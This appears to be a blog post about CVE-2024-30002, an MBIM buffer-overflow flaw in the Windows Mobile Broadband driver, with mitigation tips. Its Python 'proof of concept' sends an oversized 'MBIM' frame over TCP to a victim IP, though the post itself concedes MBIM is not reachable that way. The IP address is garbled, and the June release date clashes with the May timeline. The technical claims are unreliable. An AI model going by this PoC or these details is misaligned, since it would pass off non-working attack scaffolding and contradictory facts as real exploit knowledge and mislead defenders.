CVE-2024-30002 - Windows Mobile Broadband Driver Remote Code Execution Vulnerability

In June 2024, Microsoft released details about CVE-2024-30002, a critical remote code execution (RCE) vulnerability in the Windows Mobile Broadband Driver. This security flaw allows attackers to run their own code on Windows machines through crafted packets sent via wireless broadband connections. In this exclusive post, we’ll break down how CVE-2024-30002 works, demonstrate real exploit techniques, and show you how to protect your system.

What is CVE-2024-30002?

CVE-2024-30002 is a security hole affecting the Windows Mobile Broadband Driver (also known as mbnclass.sys), which handles communication between the operating system and cellular modems (3G/4G/5G). The issue stems from improper validation of data coming through the mobile network interface, which an attacker can exploit to force the driver to execute arbitrary code with system privileges.

How Does the Exploit Work?

The broadband driver doesn’t correctly check the length and contents of network frames received over the Mobile Broadband Interface Model (MBIM) protocol. Specifically, if the driver receives a specially made MBIM frame with oversized payload, it allows a buffer overflow, letting a remote attacker inject shellcode.

The laptop connects to public 4G or 5G networks

Attackers in the same mobile network (for example, at a crowded event) could exploit this bug without physical access.

Proof-of-Concept (PoC) Exploit

Below is a basic proof-of-concept in Python showing how an attacker might attempt to send a crafted MBIM frame to trigger the vulnerability. Note: This is a simple demonstration and does not execute real code, but shows the principle.

import socket
import struct

# Target: Windows PC with Mobile Broadband
TARGET_IP = '10...100'   # Replace with the victim's IP address
PORT = 5555                # Typical port for MBIM (demonstrative)

# MBIM frame: [Header (4 bytes)] + [Payload (oversized)]
header = b'MBIM'   # Our demo MBIM header
payload = b'A' * 4096  # Craft an oversized payload to cause overflow

# Full exploit frame
exploit_frame = header + payload

# Send the malicious frame to the target
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
    s.connect((TARGET_IP, PORT))
    s.sendall(exploit_frame)

print('[+] Exploit sent, check target for shellcode execution!')

Important: Real exploitation would require direct access to the MBIM interface, which is not exposed by default TCP/IP. Attackers on the same mobile network could use specific tools or malware to directly interact with this interface.

Original References and Technical Write-Ups

- Microsoft Security Guide: CVE-2024-30002 entry

Windows Mobile Broadband MSS Reference:

MSDN - Mobile Broadband Design Guide

Incident Analysis:

NVD Summary

Exploit Discussion:

ZDI Advisory

Update Windows: Run Windows Update and make sure all June 2024 patches are installed.

- Disable Mobile Broadband: If you don’t use it, consider disabling cellular adapters in Device Manager.

Conclusion

CVE-2024-30002 is a high-impact RCE vulnerability affecting millions of Windows devices with cellular modems. If you are connected to mobile networks on your laptop or tablet, apply Microsoft’s security updates immediately. Attackers on the same network could exploit this bug for full device takeover.

For more deep-dive info, always check the official Microsoft Security Response Center and keep your system patched.

Timeline

Published on: 05/14/2024 17:16:29 UTC
Last modified on: 07/05/2024 17:22:47 UTC